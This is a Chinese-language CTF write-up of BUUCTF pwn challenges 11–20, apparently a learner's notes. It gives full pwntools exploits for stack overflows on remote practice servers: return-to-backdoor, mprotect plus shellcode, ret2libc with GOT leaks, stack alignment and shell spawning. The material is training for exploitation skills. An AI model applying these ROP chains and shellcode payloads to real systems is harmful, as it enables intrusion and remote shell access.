11~20
第十一题bjdctf_2020_babystack
checksec一下
64位小端,nx,部分重定位
拖入ida
输入一个数字
,再读入数字
个字节
存在栈溢出漏洞
有后门函数
backdoor=0x04006E6
算了一下,溢出长度加上地址长度 0x10+8+8=0x20=32
所以而exp
from pwn import*
io=remote('node4.buuoj.cn',28601)
backdoor=0x04006E6
io.sendline(b'32')
payload=b'a'*0x18+p64(backdoor)
io.sendlineafter('name?\n',payload)
io.interactive()
这题打本地打不通,应该是本地环境和远程不一样,我打了一段时间本地觉得没写错,后来去找其他博客才知道本地打不了
第十二题 get_started_3dsctf_2016//需要常看复习mprotect函数
看了其他的博客这题有两个解法
checksec一下
三十二位小端,开启了nx保护
拖入ida
main函数里有栈溢出漏洞
看一下栈,好像少了点什么哈
去看汇编代码
这里没有用ebp寄存器,所以填充栈时不用填充栈底寄存器ebp了就(看了其他师傅的wp才知道)
方法一:通过后门函数进行回显flag
exp如下:
from pwn import*
io=remote('node4.buuoj.cn',25018)
#io=process('./get_started_3dsctf_2016')
exit_addr=0x804E6A0#在ida中可以找到
get_flag_addr=0x80489A0
a1=814536271
a2=425138641
payload=b'a'*0x38+p32(get_flag_addr)+p32(exit_addr)+p32(a1)+p32(a2)
io.sendline(payload)
io.interactive()
获取flag
可能是远程环境不同,get_falg的返回地址一定要是exit,正常返回,异常返回不会回显flag。
方法二:修改某段地址的权限为可写可读可执行再ret2shellcode
介绍一个函数mprotect
int mprotect(void *addr, size_t len, int prot);
addr:指向目标内存区域的起始地址。
len:内存区域的长度(以字节为单位)。
prot:新的内存保护属性,可以使用以下标志按位或运算组合:
PROT_NONE:无法访问内存。
PROT_READ:可读取内存。
PROT_WRITE:可写入内存。
PROT_EXEC:可执行内存。
可以将proc设置为7表示可写可读可执行,就像chmod指令中的7一样
先要找一个可以传三个参数的gadget,随便选
指令
ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret'|grep pop
我选的是这个pop3_addr=0x0804f460
使用pop指令传参的原因是为了还原调用过程,不破坏栈
思路是用mprotect函数修改段地址的权限,再调用read函数设置参数fd为0即可从键盘输入shellcode。
再转到修改权限的段,需要发送两次payload
修改权限的地址的选择
因为内存分页系统,每个内存页的大小为4kb=212b=0x1000b,所以起始地址一定是后三位为000的地址,(之前看其他师傅的wp,直接就说因为内存分页系统,每个内存页大小为4kb所以后三位必须是000,真看不懂,我觉得是因为4kb=212=0x1000b,所以起始地址才必须是后三位为000)
然后改地址段权限就被要求是内存页的起始地址,也就是以000结尾的地址
在ida中按ctrl+s
查看各段的起始地址和结束地址,双击转至位置
经过观察发现有起始位置是以后三位为000结尾的地址
我们选择这段地址为修改内存页权限的起始地址
故m_addr=0x80EB000
说一下read函数
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
exp如下
from pwn import*
io=remote('node4.buuoj.cn',25018)
elf=ELF('./get_started_3dsctf_2016')
mprotect_addr=elf.symbols['mprotect']
read_addr=elf.symbols['read']
pop3_addr=0x0804f460
m_addr=0x80EB000
size=0x1000
proc=0x7
payload=b'a'*0x38
payload+=p32(mprotect_addr)
payload+=p32(pop3_addr)
#mprotect三个参数
payload+=p32(m_addr)
payload+=p32(size)
payload+=p32(proc)
payload+=p32(read_addr)
#-----------------------
payload+=p32(pop3_addr)
#-----------------------
#read函数的三个参数
payload+=p32(0)
payload+=p32(m_addr)
payload+=p32(size)
#转到将要执行的位置,在函数读取shellcode之后,回到这个位置来执行shellcode
payload+=p32(m_addr)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
运行exp获取shell
再说一下我不理解的地方,就是将exp中(为了方便寻找我做了标记)
#-----------------------
payload+=p32(pop3_addr)
#-----------------------
修改为
payload+=p32(m_addr)
运行之后也可以拿到shell,希望能有大佬讲解一下
第十三题 jarvisoj_level2_x64
checksec一下
64位,开启了nx保护
拖入ida
查看function函数
查看栈结构
偏移量:0x88
f12+shift查看字符串窗口
有/bin/sh和system
最终确认二者地址为
sys_addr=0x4004C0
bin_sh=0x600A90
因为文件是64位的,需要用rdi传参
又system函数有栈对齐的要求,需要ret来凑数
关于栈对齐,推荐一篇文章
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园
文章中说system函数要求在其之前16位栈对齐,是说在system之前的长度必须是16的倍数
(偏移量)0x88+(pop_rid)8+(bin_sh)8=0x98=152再加8是16的倍数
所以需要ret来栈对齐
查找pop_rid和pop_ret的gadget
ROPgadget --binary 文件名 --only ‘pop|ret’
payload如下
payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
exp:
from pwn import*
#io=process("./level2_x64")
io=remote('node4.buuoj.cn',25190)
pop_rdi=0x4006b3
bin_sh=0x00600A90
sys_addr=0x4004C0
pop_ret=0x4004a1
payload=b'a'*0x88+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()
但是打远程不对齐也能通
第十四题 [HarekazeCTF2019]baby_rop
checksec
64位,堆栈不可执行
拖入ida
f12+shift查看字符串窗口
找到好东西了,system和/bin/sh都有
查找地址后得到
bin_sh=0x601048
system=0x400490
再找溢出点,也很好找
ida给出的栈长度是对的
最终exp
from pwn import*
#io=process('./babyrop')
io=remote('node4.buuoj.cn',27885)
pop_rdi=0x400683
bin_sh=0x601048
system=0x400490
pop_ret=0x0400479
payload=b'a'*0x18+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()
题目中提示ubuntu18,这个意思是要栈对齐,在之前的题目中提到过,就是system函数之前的字节数为16的倍数
所以这里用到pop_ret来凑数
有趣的是打通之后,
flag没有在当前目录,我还好奇的去群里问了一下,很快就找到方法
输入这条指令就能找到flag的位置
find / -name flag
第十五题 [OGeek2019]babyrop
checksec一下
32位,重定位表只读且堆栈不可执行
在ida中查看,没有后门等
只能ROPret2libc
main函数
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
/dev/urandom是Linux的一个生成随机数文件,0代表只读,但是open函数还是返回一个大于0的数,read函数将fd写给buf,因此buf处的数是随机的。
将buf作为参数传给sub_804871F返回值赋值给v2,将v2作为参数传给 sub_80487D0。
sub_804871F函数
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
memset函数:将某一块区域内容设置为指定内容,多用于数组的初始化。
开始的两个 memset函数会将s和buf中元素都初始化为0.
sprintf函数,这个在我写c结课设计项目时遇到过,他是把a1打印在s上。
read函数从键盘读取0x20字节内容写入buf,并将返回值赋值给v5,查找资料的read函数返回值为读取的字节数。
接下来判断buf和s大小,相等返回0,不相等返回非0的数程序就会终止。因此第一个任务就是使比较结果为0
sub_80487D0函数
ssize_t __cdecl sub_80487D0(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
return read(0, buf, 0xC8u);
else
return read(0, buf, a1);
}
这个就不用说了。
思路
在sub_804871F函数中,我们确定了第一个目的,防止程序退出,就要使strncmp(buf, s, v1)结果为0
可以看到v1 = strlen(buf);这个总能看到,又是\x00截断,在输入时设置第一个元素为\x00
最后返回的时buf[7],看sub_80487D0函数,我们需要将传入的参数尽可能大了写,这样才能栈溢出并进行想要的操作
所以在输入时就要将buf[7]也一起修改了。
另外,sendline函数的结束符也是算一个字节的,所以输入的时候只要*7就可以了
这里又用到了\这个符号,\为转义字符,’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
这个用到扩展ASCII,因为键盘上能输入的字符对应最大的ASCII数不足以完成栈溢出。
关于这个推荐收藏
因此第一个payload
payload=b'\x00'+b'\xff'*7
题目给了libc库版本,我本来不想用的,但是LibcSearcher找不到对应的版本,即使更新了也找不到,没办法又学会了一种方法。
完整exp
from pwn import*
#from LibcSearcher import*
#io=process("./pwn")
io=remote("node4.buuoj.cn",26594)
elf=ELF("./pwn")
main_addr=0x8048825
payload=b'\x00'+b'\xff'*7
io.sendline(payload)
io.recvuntil('Correct\n')
write_plt=elf.plt['write']
write_got=elf.got['write']
payload1=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc=ELF("./libc-2.23.so")
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+libc.sym["system"]
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
payload2=b'a'*0xe7+b'a'*4+p32(sys_addr)+p32(0)+p32(bin_sh)
io.sendline(payload)
io.recvuntil('Correct\n')
io.sendline(payload2)
io.interactive()
不想解释了,有些注意点
- 32位程序函数参数直接压入栈中,即函数地址->函数的返回地址->参数n->参数n-1>···>参数1
bin_sh=libcbase+next(libc.search(b'/bin/sh'))
行原本其他博客中是binsh_libc=libc.search('/bin/sh').next()
,但是一用就报错,后来找到原因是因为python3取消了那种用法。
第十六题 ciscn_2019_n_5
checksec一下
基本没有保护,那就可以试试ret2shellcode了
拖入ida
也很简单,name是bss段的,name写shellcode,gets溢出到name执行shellcode
exp
from pwn import*
#io=process('./c')
context(os='linux',arch='amd64',log_level='debug')
io=remote('node4.buuoj.cn',25169)
shellcode_addr=0x601080
shellcode=asm(shellcraft.sh())
payload=b'a'*0x28+p64(shellcode_addr)
io.recvuntil(b'name\n')
io.sendline(shellcode)
io.recvuntil(b'me?\n')
io.sendline(payload)
io.interactive()
值得一提的是
context(os='linux',arch='amd64',log_level='debug')
这行代码是很主要的,它表明了系统以及版本,如果不表明系统,生成的shellcode是32位的,那样就打不通。
还有,打本地也打不通。
第十七题 others_shellcode
直接nc
第十八题 ciscn_2019_en_2
这个题和第八题是一样的,我没去了解为啥一样,重新做了一遍,仍是有不会的地方
checksec一下
64位,堆栈不可执行
ida
这是一个加密程序,选择1可以加密
这是加密函数
绕过加密的办法:通过\x00截断strlen获取加密长度
还是直接给exp再解释
from pwn import*
from LibcSearcher import*
context(os='linux',arch='amd64',log_level='debug')
#以前不会用,这次开始用感觉很方便,在接收数据时便于吸收其他没用的东西
io=remote('node4.buuoj.cn',26149)
#io=process('./ciscn_2019_en_2')
elf=ELF('./ciscn_2019_en_2')
pop_rdi=0x400c83
pop_ret=0x4006b9#这两个gadget很好找的
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
payload=b'\x00'+b'a'*0x57+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
#前面是\x00截断,rid传参,got是参数,plt是函数,main是返回地址(这是64位调用函数的方式)
io.sendline(payload)
io.recvuntil(b'Ciphertext\n')
io.recvuntil(b'\n')
puts_addr=u64(io.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
#这个是接收一行,去除末尾换行符,补齐到8位,直接用u64(io.recv(8))不行接到的数据是错的,我觉得可能是换行符的原因
#print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
str_bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'\x00'+b'a'*0x57+p64(pop_ret)+p64(pop_rdi)+p64(str_bin_sh)+p64(system)
#又在这里卡了一下,题目说了是ubuntu18,system有栈对齐的,所以用ret来凑数
io.recvuntil(b'choice!\n')
io.sendline(b'1')
io.recvuntil('encrypted\n')
io.sendline(payload)
io.interactive()
第十九题 not_the_same_3dsctf_2016
checksec
32位堆栈不可执行
ida
main函数
nt __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[45]; // [esp+Fh] [ebp-2Dh] BYREF
printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
gets(v4);
return 0;
}
有溢出
查看字符串窗口
看到了flag.txt
跟进后找到了get_secret()函数
int get_secret()
{
int v0; // esi
v0 = fopen("flag.txt", &unk_80CF91B);
fgets(&fl4g, 45, v0);
return fclose(v0);
}
地址为get_secret=0x080489A0
这个函数打开了flag.txt文件并且存储到了fl4g
位置
所以flag地址为flag_addr=0x80ECA2D
想要把flag输出,可以用printf、puts,我尝试了printf,但是没有成功,后来看了wp,都是用的write
改成用write
write有三个参数,一个是文件描述符(0,1,2),数据的地址,写入的长度。
第一个参数设置为1,代表输出流
栈结构不看了,多大都能溢出,还有看的结构里发现不用多溢出4,汇编显示最后没有用到ebp
payload我写了俩
payload1=b'a'*0x2d+p32(get_secret)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
#第二个payload中,0是返回地址,45是根据get_secret()函数中可以得知flag长度为45
exp
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',28754)
elf=ELF('./not_the_same_3dsctf_2016')
get_secrec=0x80489A0
flag_addr=0x80ECA2D
write_addr=elf.sym['write']
main_addr=elf.sym['main']
payload1=b'a'*0x2d+p32(get_secrec)+p32(main_addr)
payload2=b'a'*0x2d+p32(write_addr)+p32(0)+p32(1)+p32(flag_addr)+p32(45)
io.sendline(payload1)
io.sendline(payload2)
io.interactive()
第二十题 ciscn_2019_ne_5
查看安全策略和反汇编
checksec
32位堆栈不可执行
ida
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
int v4; // [esp+0h] [ebp-100h] BYREF
char src[4]; // [esp+4h] [ebp-FCh] BYREF
char v6[124]; // [esp+8h] [ebp-F8h] BYREF
char s1[4]; // [esp+84h] [ebp-7Ch] BYREF
char v8[96]; // [esp+88h] [ebp-78h] BYREF
int *p_argc; // [esp+F4h] [ebp-Ch]
p_argc = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(v8, 0, sizeof(v8));
*(_DWORD *)src = 48;
memset(v6, 0, sizeof(v6));
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf("%100s", s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog(src);
result = sub_804892B(argc, argv, envp);
break;
case 2:
Display(src);
result = sub_804892B(argc, argv, envp);
break;
case 3:
Print();
result = sub_804892B(argc, argv, envp);
break;
case 4:
GetFlag(src);
result = sub_804892B(argc, argv, envp);
break;
default:
result = sub_804892B(argc, argv, envp);
break;
}
return result;
}
查看字符串窗口
看到flag字样,跟进后
GetFlag函数
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}
提示在log,找到有关log
addlog函数
int __cdecl AddLog(int a1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
可以输入128字节,通过addlog函数给src写payload
再调用getflag函数,将src复制到dest,造成栈溢出,可以拿到shell
有了system还差/bin/sh,虽然没法直接找到/bin/sh的gadget,但是找到了sh的gadget
exp
from pwn import*
context(os='linux',arch='i386',log_level='debug')
io=remote('node4.buuoj.cn',26921)
#io=process('./ciscn_2019_ne_5')
str_sh=0x080482ea
system=0x80484D0
io.recvuntil(b'password:')
io.sendline(b'administrator')
io.recvuntil(b':')
io.sendline(b'1')
io.recvuntil(b'info:')
payload=b'a'*0x4c+p32(system)+b'0000'+p32(str_sh)
io.sendline(payload)
io.recvuntil(b':')
io.sendline(b'4')
io.interactive()